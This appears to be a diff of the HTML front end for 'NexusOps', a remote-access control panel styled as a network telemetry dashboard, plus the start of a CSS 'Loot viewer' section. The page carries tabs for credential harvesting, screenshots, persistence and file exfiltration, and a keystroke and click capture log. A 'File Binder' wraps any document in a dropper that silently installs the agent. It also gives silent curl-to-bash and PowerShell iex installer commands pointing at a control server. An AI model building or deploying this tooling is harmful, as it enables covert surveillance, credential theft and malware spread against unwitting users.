<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
|
||||||
|
<script src="https://cdn.jsdelivr.net/npm/chart.js"></script>
|
||||||
|
|
||||||
|
<link rel="stylesheet" href="styles.css">
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
|
||||||
|
<!-- Top Navigation Header -->
|
||||||
|
<header class="top-nav">
|
||||||
|
<div class="logo-area">
|
||||||
|
<div class="logo-icon">
|
||||||
|
<i class="fa-solid fa-network-wired"></i>
|
||||||
|
</div>
|
||||||
|
<div>
|
||||||
|
<h1 class="logo-text">Nexus<span>Ops</span></h1>
|
||||||
|
<span class="sub-text">Node Control & Telemetry Operations</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="nav-metrics">
|
||||||
|
<div class="metric-pill">
|
||||||
|
<span class="pill-label">Server Endpoint:</span>
|
||||||
|
<span class="pill-value highlight-endpoint" id="navServerEndpoint">http://10.30.20.44:3000</span>
|
||||||
|
</div>
|
||||||
|
<div class="metric-pill">
|
||||||
|
<span class="status-indicator online"></span>
|
||||||
|
<span class="pill-label">Status:</span>
|
||||||
|
<span class="pill-value" id="navConnectionStatus">Connected</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="action-area" style="display: flex; gap: 0.75rem;">
|
||||||
|
<a href="/api/export/csv" class="btn btn-secondary" style="text-decoration: none;" download>
|
||||||
|
<i class="fa-solid fa-file-csv"></i> Nodes CSV
|
||||||
|
</a>
|
||||||
|
<a href="/api/inputs/csv" class="btn btn-secondary" style="text-decoration: none;" download>
|
||||||
|
<i class="fa-solid fa-file-csv"></i> Inputs CSV
|
||||||
|
</a>
|
||||||
|
<button class="btn btn-secondary" onclick="openBinderModal()">
|
||||||
|
<i class="fa-solid fa-file-circle-plus"></i> File Binder
|
||||||
|
</button>
|
||||||
|
<button class="btn btn-secondary" onclick="openBulkModal()">
|
||||||
|
<i class="fa-solid fa-layer-group"></i> Bulk Task
|
||||||
|
</button>
|
||||||
|
<button class="btn btn-primary" onclick="openInstallerModal()">
|
||||||
|
<i class="fa-solid fa-plus"></i> Add Computer
|
||||||
|
</button>
|
||||||
|
<button class="btn btn-secondary" style="border-color: var(--accent-rose); color: var(--accent-rose);" onclick="killSwitch()">
|
||||||
|
<i class="fa-solid fa-skull"></i> Kill Switch
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</header>
|
||||||
|
|
||||||
|
<!-- Main Container -->
|
||||||
|
<main class="dashboard-container">
|
||||||
|
|
||||||
|
<!-- Stats Row Overview -->
|
||||||
|
<section class="stats-grid">
|
||||||
|
<div class="stat-card">
|
||||||
|
<div class="stat-icon cyan"><i class="fa-solid fa-server"></i></div>
|
||||||
|
<div class="stat-details">
|
||||||
|
<span class="stat-label">Total Nodes</span>
|
||||||
|
<h2 class="stat-number" id="statTotalNodes">0</h2>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="stat-card">
|
||||||
|
<div class="stat-icon emerald"><i class="fa-solid fa-circle-check"></i></div>
|
||||||
|
<div class="stat-details">
|
||||||
|
<span class="stat-label">Online Nodes</span>
|
||||||
|
<h2 class="stat-number" id="statOnlineNodes">0</h2>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="stat-card">
|
||||||
|
<div class="stat-icon rose"><i class="fa-solid fa-circle-exclamation"></i></div>
|
||||||
|
<div class="stat-details">
|
||||||
|
<span class="stat-label">Offline / Stale</span>
|
||||||
|
<h2 class="stat-number" id="statOfflineNodes">0</h2>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="stat-card">
|
||||||
|
<div class="stat-icon purple"><i class="fa-solid fa-bolt"></i></div>
|
||||||
|
<div class="stat-details">
|
||||||
|
<span class="stat-label">Avg Network CPU</span>
|
||||||
|
<h2 class="stat-number" id="statAvgCpu">0%</h2>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<!-- Toolbar & Filter Row -->
|
||||||
|
<div class="controls-toolbar">
|
||||||
|
<div class="search-box">
|
||||||
|
<i class="fa-solid fa-magnifying-glass"></i>
|
||||||
|
<input type="text" id="searchInput" placeholder="Search by hostname, IP, OS or ID..." onkeyup="filterNodes()">
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="filter-group">
|
||||||
|
<button class="filter-btn active" data-filter="all" onclick="setFilter('all', this)">All Nodes</button>
|
||||||
|
<button class="filter-btn" data-filter="online" onclick="setFilter('online', this)">Online</button>
|
||||||
|
<button class="filter-btn" data-filter="offline" onclick="setFilter('offline', this)">Offline</button>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="view-toggle">
|
||||||
|
<button class="toggle-btn active" onclick="switchView('grid', this)"><i class="fa-solid fa-grid-2"></i> Grid</button>
|
||||||
|
<button class="toggle-btn" onclick="switchView('list', this)"><i class="fa-solid fa-list"></i> Table</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Nodes Grid -->
|
||||||
|
<div id="nodesGrid" class="nodes-grid-view">
|
||||||
|
<div class="empty-state">
|
||||||
|
<i class="fa-solid fa-satellite-dish fa-spin"></i>
|
||||||
|
<h3>Waiting for Agents to Connect...</h3>
|
||||||
|
<p>No nodes registered yet. Click "Add New Computer" to get your agent installer script or standalone binary.</p>
|
||||||
|
<button class="btn btn-secondary" onclick="openInstallerModal()">Get Agent Install Script</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Telemetry Chart -->
|
||||||
|
<section class="chart-section">
|
||||||
|
<div class="section-header">
|
||||||
|
<h3><i class="fa-solid fa-chart-line"></i> Real-time Aggregate System Telemetry</h3>
|
||||||
|
<span class="badge">Live Stream</span>
|
||||||
|
</div>
|
||||||
|
<div class="chart-container">
|
||||||
|
<canvas id="telemetryChart"></canvas>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<!-- Command Execution Audit Log -->
|
||||||
|
<section class="logs-section">
|
||||||
|
<div class="section-header">
|
||||||
|
<h3><i class="fa-solid fa-terminal"></i> Task & Control Execution Log</h3>
|
||||||
|
<span class="badge purple" id="logCount">0 events</span>
|
||||||
|
</div>
|
||||||
|
<div class="terminal-window">
|
||||||
|
<div class="terminal-body" id="auditLogContent">
|
||||||
|
<div class="log-entry system">[SYSTEM] NexusOps Telemetry Server ready. Waiting for node tasks...</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<!-- Master Centralized System & Audit Log Stream -->
|
||||||
|
<section class="logs-section">
|
||||||
|
<div class="section-header">
|
||||||
|
<h3><i class="fa-solid fa-file-lines"></i> Master Centralized System & Audit Log Stream</h3>
|
||||||
|
<div style="display: flex; align-items: center; gap: 0.75rem;">
|
||||||
|
<input type="text" id="logSearchInput" placeholder="Filter log output..." style="background: rgba(15,23,42,0.8); border: 1px solid var(--border-color); color: #fff; padding: 0.3rem 0.6rem; border-radius: 6px; font-size: 0.8rem;" onkeyup="renderMasterSyslogs()">
|
||||||
|
<span class="badge" id="syslogCount">0 entries</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="terminal-window" style="height: 240px;">
|
||||||
|
<div class="terminal-body" id="syslogStreamContent">
|
||||||
|
<div class="log-entry system">[SYSTEM] Central log stream active. Listening for node syslog and audit events...</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<!-- Master Intelligence Log — unified input capture, machine details, and system events -->
|
||||||
|
<section class="logs-section" id="intelSection">
|
||||||
|
<div class="section-header">
|
||||||
|
<h3><i class="fa-solid fa-eye"></i> Master Intelligence Log — Input Capture & Machine Telemetry</h3>
|
||||||
|
<div style="display: flex; align-items: center; gap: 0.75rem;">
|
||||||
|
<select id="intelNodeFilter" style="background: rgba(15,23,42,0.8); border: 1px solid var(--border-color); color: #fff; padding: 0.3rem 0.6rem; border-radius: 6px; font-size: 0.8rem;" onchange="renderIntelLog()">
|
||||||
|
<option value="all">All Machines</option>
|
||||||
|
</select>
|
||||||
|
<select id="intelTypeFilter" style="background: rgba(15,23,42,0.8); border: 1px solid var(--border-color); color: #fff; padding: 0.3rem 0.6rem; border-radius: 6px; font-size: 0.8rem;" onchange="renderIntelLog()">
|
||||||
|
<option value="all">All Events</option>
|
||||||
|
<option value="keystroke">Keystrokes</option>
|
||||||
|
<option value="click">Clicks</option>
|
||||||
|
<option value="scroll">Scroll</option>
|
||||||
|
</select>
|
||||||
|
<input type="text" id="intelSearchInput" placeholder="Search input data..." style="background: rgba(15,23,42,0.8); border: 1px solid var(--border-color); color: #fff; padding: 0.3rem 0.6rem; border-radius: 6px; font-size: 0.8rem; width: 160px;" onkeyup="renderIntelLog()">
|
||||||
|
<span class="badge purple" id="intelCount">0 events</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<!-- Machine Details Quick-View Bar -->
|
||||||
|
<div id="machineDetailsBar" style="display: flex; flex-wrap: wrap; gap: 0.5rem; padding: 0.75rem; background: rgba(15,23,42,0.5); border-radius: var(--radius-sm); border: 1px solid var(--border-color); min-height: 40px;">
|
||||||
|
<span style="color: var(--text-muted); font-size: 0.8rem;">Select a machine above to view its details here...</span>
|
||||||
|
</div>
|
||||||
|
<div class="terminal-window" style="height: 300px;">
|
||||||
|
<div class="terminal-body" id="intelLogContent">
|
||||||
|
<div class="log-entry system">[INTEL] Master Intelligence Log active. Awaiting input capture data from agents...</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
</main>
|
||||||
|
|
||||||
|
<!-- Agent Installer Modal -->
|
||||||
|
<div class="modal-overlay" id="installerModal">
|
||||||
|
<div class="modal-card">
|
||||||
|
<div class="modal-header">
|
||||||
|
<div class="title-with-icon">
|
||||||
|
<i class="fa-solid fa-download icon-accent"></i>
|
||||||
|
<div>
|
||||||
|
<h2>Deploy Agent to Network Computer</h2>
|
||||||
|
<p>Download the standalone agent binary or run the dynamic installation script on target systems.</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<button class="modal-close" onclick="closeInstallerModal()"><i class="fa-solid fa-xmark"></i></button>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="modal-body">
|
||||||
|
<div class="os-tabs">
|
||||||
|
<button class="tab-btn active" onclick="switchTab('universal')"><i class="fa-solid fa-bolt"></i> Universal</button>
|
||||||
|
<button class="tab-btn" onclick="switchTab('binary')"><i class="fa-solid fa-box"></i> Binary</button>
|
||||||
|
<button class="tab-btn" onclick="switchTab('linux')"><i class="fa-brands fa-linux"></i> Linux</button>
|
||||||
|
<button class="tab-btn" onclick="switchTab('windows')"><i class="fa-brands fa-windows"></i> Windows</button>
|
||||||
|
<button class="tab-btn" onclick="switchTab('mac')"><i class="fa-brands fa-apple"></i> macOS</button>
|
||||||
|
<button class="tab-btn" onclick="switchTab('manual')"><i class="fa-brands fa-python"></i> Python</button>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="tab-content active" id="tab-universal">
|
||||||
|
<p class="tab-description" style="color: var(--accent-emerald);"><strong>Recommended:</strong> Auto-detects OS and runs the correct installer. Single command, any platform, fully silent.</p>
|
||||||
|
<div class="code-block">
|
||||||
|
<code id="codeUniversal">curl -sSL <span class="server-url-placeholder">http://10.30.20.44:3000</span>/install | bash</code>
|
||||||
|
<button class="btn-copy" onclick="copyCode('codeUniversal', this)"><i class="fa-regular fa-copy"></i> Copy</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="tab-content" id="tab-binary">
|
||||||
|
<p class="tab-description">Compiled standalone binary executable (no Python installation required on target system).</p>
|
||||||
|
<div class="code-block">
|
||||||
|
<code id="codeBinary">curl -sSL <span class="server-url-placeholder">http://10.30.20.44:3000</span>/bin/NexusAgent -o NexusAgent && chmod +x NexusAgent && ./NexusAgent --server <span class="server-url-placeholder">http://10.30.20.44:3000</span></code>
|
||||||
|
<button class="btn-copy" onclick="copyCode('codeBinary', this)"><i class="fa-regular fa-copy"></i> Copy</button>
|
||||||
|
</div>
|
||||||
|
<div style="margin-top: 0.75rem;">
|
||||||
|
<a id="binaryDownloadLink" href="http://10.30.20.44:3000/bin/NexusAgent" download="NexusAgent" class="btn btn-secondary" style="text-decoration: none;">
|
||||||
|
<i class="fa-solid fa-file-arrow-down"></i> Direct Download Compiled Executable (NexusAgent)
|
||||||
|
</a>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="tab-content" id="tab-linux">
|
||||||
|
<p class="tab-description">Executes automated installer, configures systemd service, and starts background heartbeat daemon.</p>
|
||||||
|
<div class="code-block">
|
||||||
|
<code id="codeLinux">curl -sSL <span class="server-url-placeholder">http://10.30.20.44:3000</span>/install.sh | sudo bash</code>
|
||||||
|
<button class="btn-copy" onclick="copyCode('codeLinux', this)"><i class="fa-regular fa-copy"></i> Copy</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="tab-content" id="tab-windows">
|
||||||
|
<p class="tab-description">Downloads Python agent to ProgramData and launches background monitoring process.</p>
|
||||||
|
<div class="code-block">
|
||||||
|
<code id="codeWindows">iwr -useb <span class="server-url-placeholder">http://10.30.20.44:3000</span>/install.ps1 | iex</code>
|
||||||
|
<button class="btn-copy" onclick="copyCode('codeWindows', this)"><i class="fa-regular fa-copy"></i> Copy</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="tab-content" id="tab-mac">
|
||||||
|
<p class="tab-description">Installs agent as a launchd background daemon with KeepAlive enabled. Auto-starts on login.</p>
|
||||||
|
<div class="code-block">
|
||||||
|
<code id="codeMac">curl -sSL <span class="server-url-placeholder">http://10.30.20.44:3000</span>/install-mac.sh | bash</code>
|
||||||
|
<button class="btn-copy" onclick="copyCode('codeMac', this)"><i class="fa-regular fa-copy"></i> Copy</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="tab-content" id="tab-manual">
|
||||||
|
<p class="tab-description">Download and run directly using standard Python 3 (No external dependencies required).</p>
|
||||||
|
<div class="code-block">
|
||||||
|
<code id="codeManual">curl -sSL <span class="server-url-placeholder">http://10.30.20.44:3000</span>/agent.py -o agent.py && python3 agent.py --server <span class="server-url-placeholder">http://10.30.20.44:3000</span></code>
|
||||||
|
<button class="btn-copy" onclick="copyCode('codeManual', this)"><i class="fa-regular fa-copy"></i> Copy</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="modal-info-box">
|
||||||
|
<i class="fa-solid fa-circle-info"></i>
|
||||||
|
<div>
|
||||||
|
<strong>Server Endpoint Pre-configured:</strong> All installers link to <span class="server-url-placeholder">http://10.30.20.44:3000</span>.
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Multi-Control Node Center Modal -->
|
||||||
|
<div class="modal-overlay" id="commandModal">
|
||||||
|
<div class="modal-card" style="max-width: 720px;">
|
||||||
|
<div class="modal-header">
|
||||||
|
<div class="title-with-icon">
|
||||||
|
<i class="fa-solid fa-sliders icon-accent"></i>
|
||||||
|
<div>
|
||||||
|
<h2>Node Control Center: <span id="cmdModalHostname">Node</span></h2>
|
||||||
|
<p>Full suite of cross-platform administrative & diagnostic actions.</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<button class="modal-close" onclick="closeCommandModal()"><i class="fa-solid fa-xmark"></i></button>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="modal-body">
|
||||||
|
<input type="hidden" id="cmdModalNodeId">
|
||||||
|
|
||||||
|
<div class="os-tabs" style="flex-wrap: wrap; gap: 0.25rem;">
|
||||||
|
<button class="tab-btn active" onclick="switchControlTab('shell', this)"><i class="fa-solid fa-terminal"></i> Terminal</button>
|
||||||
|
<button class="tab-btn" onclick="switchControlTab('service', this)"><i class="fa-solid fa-gear"></i> Services</button>
|
||||||
|
<button class="tab-btn" onclick="switchControlTab('process', this)"><i class="fa-solid fa-microchip"></i> Processes</button>
|
||||||
|
<button class="tab-btn" onclick="switchControlTab('diag', this)"><i class="fa-solid fa-stethoscope"></i> Diagnostics</button>
|
||||||
|
<button class="tab-btn" onclick="switchControlTab('network', this)"><i class="fa-solid fa-network-wired"></i> Network</button>
|
||||||
|
<button class="tab-btn" onclick="switchControlTab('exfil', this)"><i class="fa-solid fa-skull"></i> Exfil & Harvest</button>
|
||||||
|
<button class="tab-btn" onclick="switchControlTab('config', this)"><i class="fa-solid fa-sliders"></i> Agent Config</button>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Shell Tab -->
|
||||||
|
<div class="control-tab-content active" id="ctrl-shell">
|
||||||
|
<div class="form-group">
|
||||||
|
<label>Run Shell Command</label>
|
||||||
|
<input type="text" id="cmdInput" class="form-input" placeholder="e.g. systemctl status nginx or df -h" onkeydown="if(event.key==='Enter') submitNodeAction('raw_command')">
|
||||||
|
</div>
|
||||||
|
<div class="quick-commands" style="margin-top: 0.5rem;">
|
||||||
|
<span class="quick-label">Presets:</span>
|
||||||
|
<button class="chip" onclick="setQuickCmd('uptime')">Uptime</button>
|
||||||
|
<button class="chip" onclick="setQuickCmd('df -h')">Disk Space</button>
|
||||||
|
<button class="chip" onclick="setQuickCmd('free -h')">Memory Free</button>
|
||||||
|
<button class="chip" onclick="setQuickCmd('docker ps')">Docker Containers</button>
|
||||||
|
</div>
|
||||||
|
<div class="modal-actions">
|
||||||
|
<button class="btn btn-primary" onclick="submitNodeAction('raw_command')"><i class="fa-solid fa-paper-plane"></i> Run Shell Command</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Service Tab -->
|
||||||
|
<div class="control-tab-content" id="ctrl-service" style="display: none;">
|
||||||
|
<div class="form-group">
|
||||||
|
<label>Service Name</label>
|
||||||
|
<input type="text" id="serviceNameInput" class="form-input" placeholder="e.g. nginx, docker, sshd, mysql">
|
||||||
|
</div>
|
||||||
|
<div class="form-group">
|
||||||
|
<label>Action</label>
|
||||||
|
<div style="display: flex; gap: 0.5rem; margin-top: 0.25rem;">
|
||||||
|
<button class="btn btn-secondary" onclick="submitServiceAction('restart')"><i class="fa-solid fa-rotate"></i> Restart</button>
|
||||||
|
<button class="btn btn-secondary" onclick="submitServiceAction('start')"><i class="fa-solid fa-play"></i> Start</button>
|
||||||
|
<button class="btn btn-secondary" onclick="submitServiceAction('stop')"><i class="fa-solid fa-stop"></i> Stop</button>
|
||||||
|
<button class="btn btn-secondary" onclick="submitServiceAction('status')"><i class="fa-solid fa-info-circle"></i> Status</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Process Tab -->
|
||||||
|
<div class="control-tab-content" id="ctrl-process" style="display: none;">
|
||||||
|
<p class="tab-description">Inspect top CPU processes or terminate stuck process ID (PID).</p>
|
||||||
|
<div style="display: flex; gap: 0.75rem; align-items: flex-end;">
|
||||||
|
<button class="btn btn-primary" onclick="submitNodeAction('list_processes')"><i class="fa-solid fa-list"></i> Fetch Top Processes</button>
|
||||||
|
<div class="form-group" style="flex: 1;">
|
||||||
|
<label>Kill PID</label>
|
||||||
|
<input type="number" id="killPidInput" class="form-input" placeholder="e.g. 1420">
|
||||||
|
</div>
|
||||||
|
<button class="btn btn-secondary" style="border-color: var(--accent-rose); color: var(--accent-rose);" onclick="submitKillProcess()"><i class="fa-solid fa-skull"></i> Kill PID</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Diagnostics Tab (Features 1, 2, 5, 10) -->
|
||||||
|
<div class="control-tab-content" id="ctrl-diag" style="display: none;">
|
||||||
|
<p class="tab-description">Hardware, Storage, Environment & System Diagnostic Inspection.</p>
|
||||||
|
<div style="display: grid; grid-template-columns: 1fr 1fr; gap: 0.5rem;">
|
||||||
|
<button class="btn btn-secondary" onclick="submitNodeAction('get_hardware_specs')"><i class="fa-solid fa-microchip"></i> Hardware & CPU Specs</button>
|
||||||
|
<button class="btn btn-secondary" onclick="submitNodeAction('get_disk_partitions')"><i class="fa-solid fa-hard-drive"></i> Disk Partitions</button>
|
||||||
|
<button class="btn btn-secondary" onclick="submitNodeAction('get_env_vars')"><i class="fa-solid fa-code"></i> Environment Variables</button>
|
||||||
|
<button class="btn btn-secondary" onclick="submitNodeAction('export_diagnostics')"><i class="fa-solid fa-notes-medical"></i> Full Diagnostics</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Exfil & Harvest Tab -->
|
||||||
|
<div class="control-tab-content" id="ctrl-exfil" style="display: none;">
|
||||||
|
<p class="tab-description">File exfiltration, screenshot capture, credential harvesting, persistence.</p>
|
||||||
|
<div style="display: grid; grid-template-columns: 1fr 1fr; gap: 0.5rem; margin-bottom: 0.75rem;">
|
||||||
|
<button class="btn btn-secondary" onclick="submitNodeAction('screenshot')"><i class="fa-solid fa-camera"></i> Screenshot</button>
|
||||||
|
<button class="btn btn-secondary" onclick="submitNodeAction('harvest_credentials')"><i class="fa-solid fa-key"></i> Harvest Creds</button>
|
||||||
|
<button class="btn btn-secondary" onclick="submitNodeAction('ensure_persistence', {server_url: publicUrl || ('http://'+serverIp+':'+serverPort)})"><i class="fa-solid fa-anchor"></i> Ensure Persistence</button>
|
||||||
|
<button class="btn btn-secondary" onclick="submitNodeAction('update_agent', {url: (publicUrl || ('http://'+serverIp+':'+serverPort)) + '/agent.py'})"><i class="fa-solid fa-rotate"></i> Update Agent</button>
|
||||||
|
</div>
|
||||||
|
<div class="form-group">
|
||||||
|
<label>Download File from Target</label>
|
||||||
|
<div style="display: flex; gap: 0.5rem;">
|
||||||
|
<input type="text" id="exfilPathInput" class="form-input" placeholder="e.g. /etc/passwd or C:\Users\admin\Desktop\secret.docx" style="flex:1;">
|
||||||
|
<button class="btn btn-primary" onclick="submitNodeAction('download_file', {path: document.getElementById('exfilPathInput').value})"><i class="fa-solid fa-download"></i> Exfiltrate</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Network Tab (Features 3, 4) -->
|
||||||
|
<div class="control-tab-content" id="ctrl-network" style="display: none;">
|
||||||
|
<p class="tab-description">Network Interface Cards & Active Established Connections.</p>
|
||||||
|
<div style="display: flex; gap: 0.5rem; margin-bottom: 0.75rem;">
|
||||||
|
<button class="btn btn-secondary" onclick="submitNodeAction('get_network_interfaces')"><i class="fa-solid fa-ethernet"></i> Network Interfaces</button>
|
||||||
|
<button class="btn btn-secondary" onclick="submitNodeAction('get_active_connections')"><i class="fa-solid fa-plug"></i> Established TCP Sockets</button>
|
||||||
|
<button class="btn btn-secondary" onclick="submitNodeAction('network_stats')"><i class="fa-solid fa-list-numeric"></i> Listening Ports</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Agent Config Tab (Features 6, 7, 8) -->
|
||||||
|
<div class="control-tab-content" id="ctrl-config" style="display: none;">
|
||||||
|
<div class="form-group">
|
||||||
|
<label>Set Node Tags (comma separated)</label>
|
||||||
|
<div style="display: flex; gap: 0.5rem;">
|
||||||
|
<input type="text" id="tagInput" class="form-input" placeholder="e.g. Production, WebServer, Proxmox">
|
||||||
|
<button class="btn btn-primary" onclick="submitTagUpdate()"><i class="fa-solid fa-tag"></i> Save Tags</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="form-group" style="margin-top: 0.75rem;">
|
||||||
|
<label>Adjust Heartbeat Rate (seconds)</label>
|
||||||
|
<div style="display: flex; gap: 0.5rem;">
|
||||||
|
<input type="number" id="heartbeatInput" class="form-input" placeholder="5" value="5" min="2" max="60">
|
||||||
|
<button class="btn btn-primary" onclick="submitHeartbeatRate()"><i class="fa-solid fa-clock"></i> Set Rate</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div style="margin-top: 1.25rem; border-top: 1px solid var(--border-color); padding-top: 1rem;">
|
||||||
|
<button class="btn btn-secondary" style="border-color: var(--accent-rose); color: var(--accent-rose);" onclick="submitSystemReboot()"><i class="fa-solid fa-power-off"></i> Reboot Target Machine</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Bulk Execution Modal -->
|
||||||
|
<div class="modal-overlay" id="bulkModal">
|
||||||
|
<div class="modal-card">
|
||||||
|
<div class="modal-header">
|
||||||
|
<div class="title-with-icon">
|
||||||
|
<i class="fa-solid fa-layer-group icon-accent"></i>
|
||||||
|
<div>
|
||||||
|
<h2>Broadcast Task across All Connected Nodes</h2>
|
||||||
|
<p>Dispatches the selected administrative action to every online machine on your network.</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<button class="modal-close" onclick="closeBulkModal()"><i class="fa-solid fa-xmark"></i></button>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="modal-body">
|
||||||
|
<div class="form-group">
|
||||||
|
<label>Broadcast Command</label>
|
||||||
|
<input type="text" id="bulkCmdInput" class="form-input" placeholder="e.g. apt update -y or uptime or systemctl restart nginx">
|
||||||
|
</div>
|
||||||
|
<div class="modal-actions">
|
||||||
|
<button class="btn btn-secondary" onclick="closeBulkModal()">Cancel</button>
|
||||||
|
<button class="btn btn-primary" onclick="submitBulkCommand()"><i class="fa-solid fa-paper-plane"></i> Broadcast to All Nodes</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- File Binder Modal -->
|
||||||
|
<div class="modal-overlay" id="binderModal">
|
||||||
|
<div class="modal-card" style="max-width: 560px;">
|
||||||
|
<div class="modal-header">
|
||||||
|
<div class="title-with-icon">
|
||||||
|
<i class="fa-solid fa-file-circle-plus icon-accent"></i>
|
||||||
|
<div>
|
||||||
|
<h2>File Binder — Embed Agent into Any File</h2>
|
||||||
|
<p>Upload any file. Get back a self-extracting dropper that opens the file normally while silently installing the agent.</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<button class="modal-close" onclick="closeBinderModal()"><i class="fa-solid fa-xmark"></i></button>
|
||||||
|
</div>
|
||||||
|
<div class="modal-body">
|
||||||
|
<div class="form-group">
|
||||||
|
<label>Select File to Bind</label>
|
||||||
|
<div class="binder-dropzone" id="binderDropzone" onclick="document.getElementById('binderFileInput').click()">
|
||||||
|
<i class="fa-solid fa-cloud-arrow-up" style="font-size: 2rem; color: var(--primary-cyan);"></i>
|
||||||
|
<p style="margin-top: 0.5rem;" id="binderFileName">Click or drag any file here</p>
|
||||||
|
<span style="font-size: 0.75rem; color: var(--text-dim);">PDF, DOCX, XLSX, PNG, JPG, scripts, executables — anything</span>
|
||||||
|
</div>
|
||||||
|
<input type="file" id="binderFileInput" style="display: none;" onchange="handleBinderFile(this)">
|
||||||
|
</div>
|
||||||
|
<div id="binderStatus" style="display: none; padding: 0.75rem; border-radius: var(--radius-sm); text-align: center; font-size: 0.9rem;"></div>
|
||||||
|
<div class="modal-actions">
|
||||||
|
<button class="btn btn-secondary" onclick="closeBinderModal()">Cancel</button>
|
||||||
|
<button class="btn btn-primary" id="binderSubmitBtn" disabled onclick="submitBinder()">
|
||||||
|
<i class="fa-solid fa-wand-magic-sparkles"></i> Bind & Download
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
<div class="modal-info-box" style="margin-top: 0.5rem;">
|
||||||
|
<i class="fa-solid fa-circle-info"></i>
|
||||||
|
<div>
|
||||||
|
<strong>How it works:</strong> Your file is embedded in a cross-platform shell dropper. When executed, it opens the original file AND deploys the agent to <span class="server-url-placeholder">http://10.30.20.44:3000</span>.
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div style="text-align:center;padding:1.5rem;margin-top:2rem;border-top:1px solid rgba(148,163,184,0.1)"><a href="https://buymeacoffee.com/r26xrthzttg" target="_blank" rel="noopener" style="display:inline-flex;align-items:center;gap:0.5rem;background:linear-gradient(135deg,#FF813F,#FF5E0E);color:#fff;padding:0.5rem 1.2rem;border-radius:30px;text-decoration:none;font-weight:600;font-size:0.82rem;transition:all 0.2s;box-shadow:0 4px 15px rgba(255,94,14,0.3)"><span style="font-size:1.1rem">☕</span> Support This Project — Buy Me a Coffee</a></div>
|
||||||
|
<script src="app.js"></script>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
@@ -903,3 +903,49 @@ body {
|
|||||||
gap: 0.3rem;
|
gap: 0.3rem;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/* ── Loot viewer ── */
|
||||||
|
.loot-tabs { display: flex; gap: 0.5rem; }
|
||||||
|
.loot-body { padding: 0.75rem; max-height: 420px; overflow-y: auto; }
|
||||||
|
.loot-table { width: 100%; border-collapse: collapse; font-size: 0.85rem; }
|
||||||
|
.loot-table th { text-align: left; color: var(--text-dim, #64748b); font-weight: 600; padding: 0.4rem 0.5rem; border-bottom: 1px solid var(--border-color, #1e293b); font-size: 0.75rem; text-transform: uppercase; letter-spacing: 0.05em; }
|
||||||
|
